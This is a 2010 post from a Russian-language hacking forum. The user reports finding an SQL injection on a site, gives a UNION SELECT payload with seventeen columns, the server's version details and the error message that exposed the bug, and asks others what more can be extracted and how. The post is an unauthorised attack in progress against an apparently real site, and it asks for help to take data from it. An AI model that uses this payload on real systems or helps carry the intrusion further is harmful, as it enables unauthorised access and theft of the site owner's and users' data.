Показать сообщение отдельно

  #7  
Старый 13.07.2010, 23:10
Anexroid
Новичок
Регистрация: 22.08.2009
Сообщений: 7
Провел на форуме:
23465

Репутация: 1
По умолчанию

Помогите с SQL-Inj, пожалуйста.

Подобрал кол-во столбцов, запросом

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*

Узнал данные о сервере

PHP Version 5.2.10

System FreeBSD fe61.hc.ru 6.2-RELEASE-p3 FreeBSD 6.2-RELEASE-p3 #2: Thu Apr 12 13:46:06 MSD 2007 root@fe25.hw.ru:/usr/obj/usr/src/sys/XEON i386

Mysql Client API version 4.1.22

Apache/1.3.34 (Unix)

Нашел багу:

site.ru/index.php?id=1'

Выдаёт

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in ****

Что еще можно вытянуть? и как? Подскажите, плз
 
Ответить с цитированием